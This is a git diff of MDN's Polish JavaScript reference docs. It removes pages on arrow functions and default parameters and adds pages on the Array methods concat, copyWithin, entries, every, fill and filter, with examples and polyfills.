Since arrow functions do not have their own this, the methods call() or apply() can only pass in parameters. thisArg is ignored.

- -
var adder = {
-  base: 1,
-
-  add: function(a) {
-    var f = v => v + this.base;
-    return f(a);
-  },
-
-  addThruCall: function(a) {
-    var f = v => v + this.base;
-    var b = {
-      base: 2
-    };
-
-    return f.call(b, a);
-  }
-};
-
-console.log(adder.add(1));         // This would log to 2
-console.log(adder.addThruCall(1)); // This would log to 2 still
- -

No binding of arguments

- -

Arrow functions do not have their own arguments object. Thus, in this example, arguments is simply a reference to the the arguments of the enclosing scope:

- -
var arguments = [1, 2, 3];
-var arr = () => arguments[0];
-
-arr(); // 1
-
-function foo(n) {
-  var f = () => arguments[0] + n; // foo's implicit arguments binding. arguments[0] is n
-  return f(10);
-}
-
-foo(1); // 2
- -

In most cases, using rest parameters is a good alternative to using an arguments object.

- -
function foo(n) {
-  var f = (...args) => args[0] + n;
-  return f(10);
-}
-
-foo(1); // 11
- -

Arrow functions used as methods

- -

As stated previously, arrow function expressions are best suited for non-method functions. Let's see what happens when we try to use them as methods:

- -
'use strict';
-var obj = {
-  i: 10,
-  b: () => console.log(this.i, this),
-  c: function() {
-    console.log(this.i, this);
-  }
-}
-obj.b(); // prints undefined, Window {...} (or the global object)
-obj.c(); // prints 10, Object {...}
- -

Arrow functions do not have their own this. Another example involving {{jsxref("Object.defineProperty()")}}:

- -
'use strict';
-var obj = {
-  a: 10
-};
-
-Object.defineProperty(obj, 'b', {
-  get: () => {
-    console.log(this.a, typeof this.a, this);
-    return this.a + 10; // represents global object 'Window', therefore 'this.a' returns 'undefined'
-  }
-});
-
- -

Use of the new operator

- -

Arrow functions cannot be used as constructors and will throw an error when used with new.

- -
var Foo = () => {};
-var foo = new Foo(); // TypeError: Foo is not a constructor
- -

Use of prototype property

- -

Arrow functions do not have a prototype property.

- -
var Foo = () => {};
-console.log(Foo.prototype); // undefined
-
- -

Use of the yield keyword

- -

The yield keyword may not be used in an arrow function's body (except when permitted within functions further nested within it). As a consequence, arrow functions cannot be used as generators.

- -

Function body

- -

Arrow functions can have either a "concise body" or the usual "block body".

- -

In a concise body, only an expression is specified, which becomes the explicit return value. In a block body, you must use an explicit return statement.

- -
var func = x => x * x;
-// concise body syntax, implied "return"
-
-var func = (x, y) => { return x + y; };
-// with block body, explicit "return" needed
-
- -

Returning object literals

- -

Keep in mind that returning object literals using the concise body syntax params => {object:literal} will not work as expected.

- -
var func = () => { foo: 1 };
-// Calling func() returns undefined!
-
-var func = () => { foo: function() {} };
-// SyntaxError: function statement requires a name
- -

This is because the code inside braces ({}) is parsed as a sequence of statements (i.e. foo is treated like a label, not a key in an object literal).

- -

Remember to wrap the object literal in parentheses.

- -
var func = () => ({foo: 1});
- -

Line breaks

- -

An arrow function cannot contain a line break between its parameters and its arrow.

- -
var func = ()
-           => 1;
-// SyntaxError: expected expression, got '=>'
- -

Parsing order

- -

Although the arrow in an arrow function is not an operator, arrow functions have special parsing rules that interact differently with operator precedence compared to regular functions.

- -
let callback;
-
-callback = callback || function() {}; // ok
-
-callback = callback || () => {};
-// SyntaxError: invalid arrow-function arguments
-
-callback = callback || (() => {});    // ok
-
- -

More examples

- -
// An empty arrow function returns undefined
-let empty = () => {};
-
-(() => 'foobar')();
-// Returns "foobar"
-// (this is an Immediately Invoked Function Expression
-// see 'IIFE' in glossary)
-
-var simple = a => a > 15 ? 15 : a;
-simple(16); // 15
-simple(10); // 10
-
-let max = (a, b) => a > b ? a : b;
-
-// Easy array filtering, mapping, ...
-
-var arr = [5, 6, 13, 0, 1, 18, 23];
-
-var sum = arr.reduce((a, b) => a + b);
-// 66
-
-var even = arr.filter(v => v % 2 == 0);
-// [6, 0, 18]
-
-var double = arr.map(v => v * 2);
-// [10, 12, 26, 0, 2, 36, 46]
-
-// More concise promise chains
-promise.then(a => {
-  // ...
-}).then(b => {
-  // ...
-});
-
-// Parameterless arrow functions that are visually easier to parse
-setTimeout( () => {
-  console.log('I happen sooner');
-  setTimeout( () => {
-    // deeper code
-    console.log('I happen later');
-  }, 1);
-}, 1);
-
- -

Specifications

- - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES2015', '#sec-arrow-function-definitions', 'Arrow Function Definitions')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ESDraft', '#sec-arrow-function-definitions', 'Arrow Function Definitions')}}{{Spec2('ESDraft')}} 
- -

Browser compatibility

- -
- - -

{{Compat("javascript.functions.arrow_functions")}}

-
- -

See also

- - diff --git "a/files/pl/web/javascript/reference/functions/parametry_domy\305\233lne/index.html" "b/files/pl/web/javascript/reference/functions/parametry_domy\305\233lne/index.html" deleted file mode 100644 index b192456adf..0000000000 --- "a/files/pl/web/javascript/reference/functions/parametry_domy\305\233lne/index.html" +++ /dev/null @@ -1,225 +0,0 @@ ---- -title: Parametry domyślne -slug: Web/JavaScript/Reference/Functions/Parametry_domyślne -tags: - - ECMAScript2015 - - Funkcje - - JavaScript -translation_of: Web/JavaScript/Reference/Functions/Default_parameters ---- -
{{jsSidebar("Functions")}}
- -

Domyślne parametry funkcji pozwalają na inicjalizację nazwanych parametrów wartościami domyślnymi tam, gdzie nie została podana żadna wartość lub jako wartość podano undefined.

- -
{{EmbedInteractiveExample("pages/js/functions-default.html")}}
- - - -

Składnia

- -
function [nazwa]([parametr1[ = domyślnaWartość1 ][, ..., parametrN[ = domyślnaWartośćN ]]]) {
-   ciało funkcji
-}
-
- -

Opis

- -

W języku JavaScript domyślną wartością parametrów funkcji jest {{jsxref("undefined")}}. Często jednak dobrze jest ustawić inną wartość domyślną – wówczas parametry domyślne okazują się pomocne.

- -

W przeszłości, ogólną strategią na ustawianie domyślnych wartości było sprawdzanie parametrów w ciele funkcji – w sytuacji, w których były one równe undefined, przypisywano im konkretne wartości.

- -

W następującym przykładzie, jeśli żadna wartość nie jest podana jako b, kiedy wywoływana jest funkcja pomnóż, wartość b powinna być równa undefined – wówczas funkcja powinna zwrócić NaN jako wynik operacji a * b.

- -
function pomnóż(a, b) {
-  return a * b;
-}
-
-pomnóż(5, 2); // 10
-pomnóż(5);    // NaN !
-
- -

Aby się przed tym uchronić, należy użyć czegoś takiego, jak w drugiej linijce, gdzie wartość b jest ustawiana na 1, jeśli funkcja pomnóż jest wywoływana tylko z jednym argumentem.

- -
function pomnóż(a, b) {
-  b = (typeof b !== 'undefined') ?  b : 1;
-  return a * b;
-}
-
-pomnóż(5, 2); // 10
-pomnóż(5);    // 5
-
- -

Dzięki parametrom domyślnym w ES2015, tego rodzaju sprawdzanie wartości parametrów w ciele funkcji nie jest już konieczne. Można teraz przypisać 1 jako domyślną wartość w nagłówku funkcji:

- -
function pomnóż(a, b = 1) {
-  return a * b;
-}
-
-pomnóż(5, 2); // 10
-pomnóż(5);    // 5
-
- -

Przykłady

- -

Przekazywanie undefined kontra inne puste wartości

- -

W drugim wywołaniu funkcji w tym przykłądzie, nawet jeśli jako pierwszy argument wprost podany undefined (jednak nie null lub inne puste wartości), wartością argumentu num dalej będzie wartość domyślna.

- -
function test(num = 1) {
-  console.log(typeof num);
-}
-
-test();          // 'number' (num jest ustawiany na 1)
-test(undefined); // 'number' (num również jest ustawiany na 1)
-
-// test z innymi "pustymi" wartościami:
-test('');        // 'string' (num jest ustawiany na '')
-test(null);      // 'object' (num jest ustawiany na null)
-
- -

Ewaluacja w czasie wykonania

- -

Domyślne argumenty są przypisywane w czasie wykonania, a więc w odróżnieniu od np. Pythona, nowy obiekt jest tworzony przy każdym wywołaniu funkcji.

- -
function append(wartość, tablica = []) {
-  array.push(wartość);
-  return tablica;
-}
-
-append(1); //[1]
-append(2); //[2], nie [1, 2]
-
- -

Dotyczy to również funkcji i zmiennych:

- -
function callSomething(thing = something()) {
- return thing;
-}
-
-let numberOfTimesCalled = 0;
-function something() {
-  numberOfTimesCalled += 1;
-  return numberOfTimesCalled;
-}
-
-callSomething(); // 1
-callSomething(); // 2
- -

Domyślne parametry są dostępne dla późniejszych domyślnych parametrów

- -

Parametry zdefiniowane wcześniej (bardziej na lewo na liście parametrów), są dostępne dla domyślnych parametrów definiowanych później:

- -
function pozdrów(imię, pozdrowienie, wiadomość = pozdrowienie + ' ' + imię) {
-    return [imię, pozdrowienie, wiadomość];
-}
-
-pozdrów('Dawid', 'Cześć');  // ["Dawid", "Cześć", "Cześć Dawid"]
-pozdrów('Dawid', 'Cześć', 'Wszystkiego najlepszego!');  // ["Dawid", "Cześć", "Wszystkiego najlepszego!"]
-
- -

Ta funkcjonalność może być przybliżona w ten sposób, pokazujący, jak wiele przypadków brzegowych może być obsłużonych:

- -
function go() {
-  return ':P';
-}
-
-function withDefaults(a, b = 5, c = b, d = go(), e = this,
-                      f = arguments, g = this.value) {
-  return [a, b, c, d, e, f, g];
-}
-
-function withoutDefaults(a, b, c, d, e, f, g) {
-  switch (arguments.length) {
-    case 0:
-      a;
-    case 1:
-      b = 5;
-    case 2:
-      c = b;
-    case 3:
-      d = go();
-    case 4:
-      e = this;
-    case 5:
-      f = arguments;
-    case 6:
-      g = this.value;
-    default:
-  }
-  return [a, b, c, d, e, f, g];
-}
-
-withDefaults.call({value: '=^_^='});
-// [undefined, 5, 5, ":P", {value:"=^_^="}, arguments, "=^_^="]
-
-withoutDefaults.call({value: '=^_^='});
-// [undefined, 5, 5, ":P", {value:"=^_^="}, arguments, "=^_^="]
-
- -

Funkcje definiowane w ciele funkcji

- -

Wprowadzone w Gecko 33 {{geckoRelease(33)}}. Funkcje deklarowane w ciele funkcji nie mogą być używane jako wartości domyślne w tej samej funkcji. Przy takiej próbie, wyrzucany jest jest {{jsxref("ReferenceError")}}. Parametr domyślny zawsze wykonywany jest jako pierwszy, a więc deklaracje w ciele funkcji są ewaluowane później.

- -
// Nie działa! Wyrzuca ReferenceError.
-function f(a = go()) {
-  function go() { return ':P'; }
-}
-
- -

Parametry bez wartości domyślnych po parametrach domyślnych

- -

Przed Gecko 26 {{geckoRelease(26)}}, poniższy kod zwracał {{jsxref("SyntaxError")}}. Zostało to naprawione w {{bug(777060)}}. Wartości parametrów dalej są ustawiane w kolejności od lewej do prawej, nadpisując domyślne parametry, nawet jeśli występują potem parametry bez wartości domyślnych.

- -
function f(x = 1, y) {
-  return [x, y];
-}
-
-f(); // [1, undefined]
-f(2); // [2, undefined]
-
- -

Parametr destrukturyzowany z przypisaniem domyślnej wartości

- -

Możesz też użyć przypisania domyślnej wartości z notacją parametru destruktyryzowanego:

- -
function f([x, y] = [1, 2], {z: z} = {z: 3}) {
-  return x + y + z;
-}
-
-f(); // 6
- -

Specyfikacje

- - - - - - - - - - - - - - - - - - - -
SpecyfikacjaStatusKomentarz
{{SpecName('ES2015', '#sec-function-definitions', 'Function Definitions')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ESDraft', '#sec-function-definitions', 'Function Definitions')}}{{Spec2('ESDraft')}}
- -

Wsparcie przeglądarek

- -
- - -

{{Compat("javascript.functions.default_parameters")}}

-
- -

Zobacz też

- - diff --git a/files/pl/web/javascript/reference/global_objects/array/concat/index.html b/files/pl/web/javascript/reference/global_objects/array/concat/index.html new file mode 100644 index 0000000000..014219e1d9 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/array/concat/index.html @@ -0,0 +1,71 @@ +--- +title: Array.prototype.concat() +slug: Web/JavaScript/Referencje/Obiekty/Array/concat +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Global_Objects/Array/concat +--- +
{{JSRef("Global_Objects", "Array")}}
+ +

Podsumowanie

+ +

Zwraca nową tablicę złożoną z tablicy, na której wywołano tę metodę, połączonej z innymi podanymi tablicami lub wartościami.

+ +

Składnia

+ +
var new_array = old_array.concat(wartość1[, wartość2[, ...[, wartośćN]]])
+ +

Parametry

+ +
+
wartość + N +  
+
Tablice lub wartości do dołączenia do tablicy, na której wywołana została metoda concat.
+
+ +

Opis

+ +

concat nie zmienia oryginalnej tablicy, lecz zwraca jej kopię "o jednym poziomie głębokości" zawierającą te same elementy wspólne co pierwotna tablica. Elementy oryginalnej tablicy są kopiowane do nowej tablicy następująco:

+ + + + + +

Operacje wykonywane na nowej tablicy nie wpłyną w żaden sposób na oryginalną tablicę i na odwrót.

+ +

Przykłady

+ +

Przykład: Połączenie dwóch tablic

+ +

Następujący kod łączy dwie tablice:

+ +
alpha = new Array("a", "b", "c");
+numeric = new Array(1, 2, 3);
+alphaNumeric = alpha.concat(numeric); // tworzy tablicę ["a", "b", "c", 1, 2, 3]
+
+ +

Przykład: Połączenie trzech tablic

+ +

Następujący kod łączy trzy tablice:

+ +
num1 = [1, 2, 3];
+num2 = [4, 5, 6];
+num3 = [7, 8, 9];
+nums = num1.concat(num2,num3) // tworzy tablicę [1, 2, 3, 4, 5, 6, 7, 8, 9]
+
+ +

Przykład: Połączenie wartości z tablicą

+ +

Następujący kod łączy trzy wartości z tablicą:

+ +
alpha = ['a', 'b', 'c'];
+alphaNumeric = alpha.concat(1, 2, 3); // tworzy tablicę ["a", "b", "c", 1, 2, 3]
+
diff --git a/files/pl/web/javascript/reference/global_objects/array/copywithin/index.html b/files/pl/web/javascript/reference/global_objects/array/copywithin/index.html new file mode 100644 index 0000000000..1a1917eabd --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/array/copywithin/index.html @@ -0,0 +1,181 @@ +--- +title: Array.prototype.copyWithin() +slug: Web/JavaScript/Referencje/Obiekty/Array/copyWithin +tags: + - Array + - ECMAScript 2015 + - JavaScript + - Metodă + - Peototyp + - Prototype + - Reference + - Referencja + - Tablica + - polyfill +translation_of: Web/JavaScript/Reference/Global_Objects/Array/copyWithin +--- +
{{JSRef}}
+ +

Metoda copyWithin() tworzy kopie płytkie części tablicy w innej części tej samej tablicy i zwraca tę tablicę bez modyfikowania jej długości.

+ +
{{EmbedInteractiveExample("pages/js/array-copywithin.html")}}
+ + + +

Składnia

+ +
arr.copyWithin(cel[, start[, koniec]])
+
+ +

Parametry

+ +
+
cel
+
Indeks (liczony od zera), do którego ma zostać skopiowana sekwencja. Jeśli wartość target będzie ujemna, pozycja będzie liczona od końca tablicy.
+
Jeśli cel jest większy lub równy arr.length, nic nie zostanie skopiowane. Jeśli wartość cel będzie większa niż start, kopiowana sekwencja zostanie przycięta tak, aby pasować do arr.length.
+
start {{optional_inline}}
+
Indeks (liczony od zera), określający pozycję początkową sekwencji, która ma zostać skopiowana. Jeśli wartość ta będzie ujemna, start będzie liczony od końca tablicy.
+
Jeśli wartość start nie jest podana, copyWithin skopiuje sekwencję zaczynając od indeksu 0
+
koniec {{optional_inline}}
+
Indeks (liczony od zera), określający pozycję końcową sekwencji, która ma zostać skopiowana, z wyłączeniem wartości pod indeksem koniec. Jeśli wartość ta będzie ujemna, koniec będzie liczony od końca tablicy.
+
Jeśli wartość koniec nie jest podana, copyWithin skopiuje sekwencję do ostatniego indeksu (domyślnie do arr.length).
+
+ +

Zwracana wartość

+ +

Zmodyfikowana tablica.

+ +

Opis

+ +

Metoda copyWithin działa jak memmove w C/C++ i jest wysokowydajną metodą przesuwania wartości w obiektach {{jsxref("Array")}}. Dotyczy to szczególnie metody o tej samej nazwie {{jsxref("TypedArray/copyWithin", "TypedArray")}}. Sekwencja jest kopiowana i wklejana w jednej operacji, a wklejona sekwencja będzie zawierać skopiowane wartości nawet wtedy, gdy zakres żródłowy (kopiowania) i docelowy (wklejania) nakładają się na siebie.

+ +

Funkcja copyWithin jest celowo ogólna, nie wymaga, by jej wartość this była obiektem typu {{jsxref("Array")}}.

+ +

Metoda copyWithin jest modyfikowalna. Nie zmienia długości this, ale zmienia zawartość this i tworzy nowe własności, jeśli jest to konieczne.

+ +

Polyfill

+ +
if (!Array.prototype.copyWithin) {
+  Object.defineProperty(Array.prototype, 'copyWithin', {
+    value: function(target, start/*, end*/) {
+    // Kroki 1-2.
+    if (this == null) {
+      throw new TypeError('this is null or not defined');
+    }
+
+    var O = Object(this);
+
+    // Kroki 3-5.
+    var len = O.length >>> 0;
+
+    // Kroki 6-8.
+    var relativeTarget = target >> 0;
+
+    var to = relativeTarget < 0 ?
+      Math.max(len + relativeTarget, 0) :
+      Math.min(relativeTarget, len);
+
+    // Kroki 9-11.
+    var relativeStart = start >> 0;
+
+    var from = relativeStart < 0 ?
+      Math.max(len + relativeStart, 0) :
+      Math.min(relativeStart, len);
+
+    // Kroki 12-14.
+    var end = arguments[2];
+    var relativeEnd = end === undefined ? len : end >> 0;
+
+    var final = relativeEnd < 0 ?
+      Math.max(len + relativeEnd, 0) :
+      Math.min(relativeEnd, len);
+
+    // Krok 15.
+    var count = Math.min(final - from, len - to);
+
+    // Kroki 16-17.
+    var direction = 1;
+
+    if (from < to && to < (from + count)) {
+      direction = -1;
+      from += count - 1;
+      to += count - 1;
+    }
+
+    // Krok 18.
+    while (count > 0) {
+      if (from in O) {
+        O[to] = O[from];
+      } else {
+        delete O[to];
+      }
+
+      from += direction;
+      to += direction;
+      count--;
+    }
+
+    // Krok 19.
+    return O;
+  },
+  configurable: true,
+  writable: true
+  });
+}
+ +

Przykłady

+ +

Użycie copyWithin

+ +
[1, 2, 3, 4, 5].copyWithin(-2)
+// [1, 2, 3, 1, 2]
+
+[1, 2, 3, 4, 5].copyWithin(0, 3)
+// [4, 5, 3, 4, 5]
+
+[1, 2, 3, 4, 5].copyWithin(0, 3, 4)
+// [4, 2, 3, 4, 5]
+
+[1, 2, 3, 4, 5].copyWithin(-2, -3, -1)
+// [1, 2, 3, 3, 4]
+
+[].copyWithin.call({długość: 5, 3: 1}, 0, 3)
+// {0: 1, 3: 1, długość: 5}
+
+// ES2015 Typowane tablice są podklasami zwykłej tablicy (Array)
+var i32a = new Int32Array([1, 2, 3, 4, 5])
+
+i32a.copyWithin(0, 2)
+// Int32Array [3, 4, 5, 4, 5]
+
+// Na platformach niewspierających jeszcze ES 2015:
+[].copyWithin.call(new Int32Array([1, 2, 3, 4, 5]), 0, 3, 4);
+// Int32Array [4, 2, 3, 4, 5]
+
+ +

Specyfikacje

+ + + + + + + + + + +
Specyfikacja
{{SpecName('ESDraft', '#sec-array.prototype.copywithin', 'Array.prototype.copyWithin')}}
+ +

Wsparcie przeglądarek

+ +
+ + +

{{Compat("javascript.builtins.Array.copyWithin")}}

+
+ +

Zobacz też

+ + diff --git a/files/pl/web/javascript/reference/global_objects/array/entries/index.html b/files/pl/web/javascript/reference/global_objects/array/entries/index.html new file mode 100644 index 0000000000..6ff83958f4 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/array/entries/index.html @@ -0,0 +1,77 @@ +--- +title: Array.prototype.entries() +slug: Web/JavaScript/Referencje/Obiekty/Array/entries +translation_of: Web/JavaScript/Reference/Global_Objects/Array/entries +--- +
{{JSRef}}
+ +

Metoda entries() zwraca obiekt Iteratora który zawiera parę klucz/wartość dla każdej pozycji w tablicy.

+ +
{{EmbedInteractiveExample("pages/js/array-entries.html")}}
+ + + +

Składnia

+ +
a.entries()
+ +

Zwracana wartość

+ +

Nowy iterator {{jsxref("Tablicy")}}.

+ +

Przykłady

+ +

Użycie w pętli for…of

+ +
var a = ['a', 'b', 'c'];
+var iterator = a.entries();
+
+for (let e of iterator) {
+  console.log(e);
+}
+// [0, 'a']
+// [1, 'b']
+// [2, 'c']
+
+ +

Specyfikacja

+ + + + + + + + + + + + + + + + + + + +
SpecyfikacjaStatusKomentarz
{{SpecName('ES2015', '#sec-array.prototype.entries', 'Array.prototype.entries')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ESDraft', '#sec-array.prototype.entries', 'Array.prototype.entries')}}{{Spec2('ESDraft')}} 
+ +

Kompatybilność w przeglądarkach

+ +
+ + +

{{Compat("javascript.builtins.Array.entries")}}

+
+ +

Zobacz również

+ + diff --git a/files/pl/web/javascript/reference/global_objects/array/every/index.html b/files/pl/web/javascript/reference/global_objects/array/every/index.html new file mode 100644 index 0000000000..4b6cb612a2 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/array/every/index.html @@ -0,0 +1,89 @@ +--- +title: Array.prototype.every() +slug: Web/JavaScript/Referencje/Obiekty/Array/every +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Global_Objects/Array/every +--- +
{{JSRef("Global_Objects", "Array")}}
+ +

Podsumowanie

+ +

Metoda  every() sprawdza, czy wszystkie elementy w tablicy przechodzą test zrealizowany w postaci dostarczonej funkcji.

+ +

Składnia

+ +
arr.every(callback[, thisArg])
+ +

Parametry

+ +
+
callback
+
Funkcja sprawdzająca dla każdego elementu. Zawiera trzy argumenty.
+ currentValue
+   
Bieżący element przetwarzany w tablicy
+
       index
+
+

     Indeks bieżacego elementu przetwarzanego w tablicy

+ +

 array
+     Tablica na której została wywołana funkcja

+
+
thisObject
+
Opcjonalnie. Obiekt, na który będzie wskazywał this, gdy wykonana zostanie funkcja zwrotna callback
+
+ +

Opis

+ +

Metoda every wykonuje dostarczoną funkcję callback raz dla każdego elementu tablicy do momentu, kiedy znajdzie taki element, dla którego funkcja callback zwróci wartość false. Jeżeli taki element zostanie znaleziony, test zostanie przerwany, a metoda every zwróci wartość false. W przeciwnym wypadku (callback zwraca wartość true dla wszystkich elementów) every zwróci true. Funkcja callback wywoływana jest jedynie dla indeksów tablicy, którym została przypisana wartość; nie jest wywoływana dla indeksów, które zostały usunięte i tych, którym nigdy nie została przypisana żadna wartość.

+ +

Funkcja callback jest wywoływana z trzema argumentami: wartością elementu, jego indeksem i obiektem tablicy, w którym się ten element zawiera.

+ +

Jeśli parametr thisObject został dostarczony do metody every, będzie on wskazywany przez this dla każdego wywołania funkcji callback. W przypadku, gdy nie został on przekazany lub jego wartość jest równa null, this będzie się odnosić do obiektu globalnego połączonego z funkcją callback.

+ +

Metoda every nie modyfikuje tablicy, na której jest wywoływana.

+ +

Zakres elementów przetwarzanych przez every jest ustawiany przed pierwszym wywołaniem funkcji callback. Elementy dołączone do tablicy po momencie wywołania every są testowane przez callback. Jeśli istniejące elementy tablicy są zmieniane lub usuwane, to wartość przesyłana do funkcji callback odpowiada wartości w momencie, w którym every się o nie zwróci; metoda every nie upomina się o elementy usunięte.

+ +

Kompatybilność

+ +

every jest rozszerzeniem JavaScript dla standardu ECMA-262, więc może nie być obecny w innych implementacjach tego standardu. Można to obejść, dopisując poniższy kod na początku skryptu, zezwalający na użycie every w implementacji ECMA-262, które nie wspierają tego natywnie.

+ +
if (!Array.prototype.every)
+{
+  Array.prototype.every = function(fun /*, thisp*/)
+  {
+    var len = this.length;
+    if (typeof fun != "function")
+      throw new TypeError();
+
+    var thisp = arguments[1];
+    for (var i = 0; i < len; i++)
+    {
+      if (i in this &&
+          !fun.call(thisp, this[i], i, this))
+        return false;
+    }
+
+    return true;
+  };
+}
+
+ +

Przykłady

+ +

Przykład: Sprawdzanie rozmiaru wszystkich elementów tablicy

+ +

Następujący przykład sprawdza, czy wszystkie elementy w tablicy są większe niż 10.

+ +
function isBigEnough(element, index, array) {
+  return (element >= 10);
+}
+passed = [12, 5, 8, 130, 44].every(isBigEnough);
+// fałsz
+passed = [12, 54, 18, 130, 44].every(isBigEnough);
+// prawda
+
diff --git a/files/pl/web/javascript/reference/global_objects/array/fill/index.html b/files/pl/web/javascript/reference/global_objects/array/fill/index.html new file mode 100644 index 0000000000..1ab2ef4719 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/array/fill/index.html @@ -0,0 +1,185 @@ +--- +title: Array.prototype.fill() +slug: Web/JavaScript/Referencje/Obiekty/Array/fill +translation_of: Web/JavaScript/Reference/Global_Objects/Array/fill +--- +
{{JSRef}}
+ +

Metoda fill() uzupełnia wszystkie elementy tablicy, zaczynając od indeksu początkowego  (start) aż po indeks końcowy (end) statyczną wartością (value).

+ +

{{EmbedInteractiveExample("pages/js/array-fill.html")}}
+ Źródło tego przykładu jest przechowywane w repozytorium na GitHub. Jeśli chciałbyś dodać coś od siebie do projektu interaktywnych przykładów, sklonuj https://github.com/mdn/interactive-examples  i wyślij pull request.

+ +

Składnia

+ +
arr.fill(value[, start = 0[, end = this.length]])
+ +

Parametry

+ +
+
value
+
Wartość, którą wypełniana będzie tablica.
+
start
+
Opcjonalnie. Indeks początkowy.
+
end
+
Opcjonalnie. Indeks końcowy.
+
+

Wartość zwracana

+ +

Zmodyfikowana tablica.

+
+
+ +

Opis

+ +

Przedział elementów do wypełnienia to: [start, end).

+ +

Metoda fill przyjmuje do trzech parametrów value, start i end. Argumenty start i end są opcjonalne i przyjmują, odpowiednio,  0 i długość (length) obiektu this.

+ +

Jeżeli parametr start jest ujemny, jest to traktowane jako length+start gdzie length jest liczbą elementów tablicy. Jeżeli parametr end jest negatywny, jest to traktowane jako length+end

+ +

Funkcja fill została świdomie zaprojektowana jako generyczna, przez co nie wymaga, by wartość this była obiektem typu Array.

+ +

Metoda fill jest zmienna (ang. mutalbe), metoda ta nie zwraca kopii this, a oryginalny obiekt po modyfikacjach.

+ +

Przykłady

+ +
[1, 2, 3].fill(4);               // [4, 4, 4]
+[1, 2, 3].fill(4, 1);            // [1, 4, 4]
+[1, 2, 3].fill(4, 1, 2);         // [1, 4, 3]
+[1, 2, 3].fill(4, 1, 1);         // [1, 2, 3]
+[1, 2, 3].fill(4, -3, -2);       // [4, 2, 3]
+[1, 2, 3].fill(4, NaN, NaN);     // [1, 2, 3]
+[].fill.call({ length: 3 }, 4);  // {0: 4, 1: 4, 2: 4, length: 3}
+//Obiekty przez referencję
+var arr = Array(3).fill({}) // [{}, {}, {}];
+arr[0].hi = "hi"; // [{ hi: "hi" }, { hi: "hi" }, { hi: "hi" }]
+
+ +

 

+ +

 

+ +

Polyfill

+ +
if (!Array.prototype.fill) {
+  Array.prototype.fill = function(value) {
+
+    // Steps 1-2.
+    if (this == null) {
+      throw new TypeError('this is null or not defined');
+    }
+
+    var O = Object(this);
+
+    // Steps 3-5.
+    var len = O.length >>> 0;
+
+    // Steps 6-7.
+    var start = arguments[1];
+    var relativeStart = start >> 0;
+
+    // Step 8.
+    var k = relativeStart < 0 ?
+      Math.max(len + relativeStart, 0) :
+      Math.min(relativeStart, len);
+
+    // Steps 9-10.
+    var end = arguments[2];
+    var relativeEnd = end === undefined ?
+      len : end >> 0;
+
+    // Step 11.
+    var final = relativeEnd < 0 ?
+      Math.max(len + relativeEnd, 0) :
+      Math.min(relativeEnd, len);
+
+    // Step 12.
+    while (k < final) {
+      O[k] = value;
+      k++;
+    }
+
+    // Step 13.
+    return O;
+  };
+}
+
+ +

Specyfikacja

+ + + + + + + + + + + + + + +
SpecyfikacjaStatusKomentarz
{{SpecName('ES6', '#sec-array.prototype.fill', 'Array.prototype.fill')}}{{Spec2('ES6')}}Definicja początkowa
+ +

Kompatybilność z przeglądarkami

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FunckjonalnośćChromeFirefox (Gecko)Internet ExplorerOperaSafari
Wsparcie podstawowe{{CompatChrome("36")}} [1]{{CompatGeckoDesktop("31")}}{{CompatNo}}{{CompatNo}}{{CompatSafari("7.1")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Wsparcie podstawowe{{CompatNo}}{{CompatNo}}{{CompatGeckoMobile("31")}}{{CompatNo}}{{CompatNo}}8.0
+
+ +

[1] The feature is available behind a preference. In chrome://flags, activate the entry “Enable Experimental JavaScript”.

+ +

Zobacz również

+ + diff --git a/files/pl/web/javascript/reference/global_objects/array/filter/index.html b/files/pl/web/javascript/reference/global_objects/array/filter/index.html new file mode 100644 index 0000000000..4b18a34c9c --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/array/filter/index.html @@ -0,0 +1,150 @@ +--- +title: Array.prototype.filter() +slug: Web/JavaScript/Referencje/Obiekty/Array/filter +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Strony_wymagające_dopracowania + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Global_Objects/Array/filter +--- +
{{JSRef}}
+ +

Metoda filter() tworzy nową tablicę z wszystkimi elementami, które przechodzą test określony w postaci funkcji.

+ +
function isBigEnough(value) {
+  return value >= 10;
+}
+
+var filtered = [12, 5, 8, 130, 44].filter(isBigEnough);
+// filtered is [12, 130, 44]
+
+ +

Składnia

+ +
var newArray = arr.filter(callback(element[, index[, array]])[, thisArg])
+ +

Parametry

+ +
+
callback
+
Funkcja sprawdzająca każdy element tablicy. Funkcja powinna zwrócić true, aby zatrzymać element lub false, aby odrzucić element. Funkcja przyjmuje trzy argumenty:
+
+
+
element
+
Element tablicy do przetworzenia.
+
index
+
Numer indeksu procesowanego elementu tablicy.
+
array
+
Tablica na której filter został wywołany.
+
+
+
thisArg
+
Obiekt na który będzie wskazywał this, przy wywoływaniu funkcji callback.
+
+ +

Opis

+ +

Metoda filter wykonuje dostarczoną funkcję callback dla każdego elementu tablicy, tworząc nową tablicę z wszystkich tych elementów, dla których funkcja callback zwróciła wartość true. Wynikowa tablica jest zwarta; wartości, które nie przechodzą testu funkcji callback, są zwyczajnie pomijane i nie są przypisywane do indeksów nowej tablicy.

+ +

Funkcja callback jest wywoływana z trzema argumentami: wartością elementu, jego indeksem i obiektem tablicy, w którym się ten element zawiera.

+ +

Jeśli parametr thisObject został dostarczony do metody filter, będzie on wskazywany przez this dla każdego wywołania funkcjicallback. W przypadku gdy nie został on przekazany lub jego wartość jest równa null, this będzie się odnosić do obiektu globalnego połączonego z funkcją callback.

+ +

Metoda filter nie modyfikuje tablicy, na której jest wywoływana.

+ +

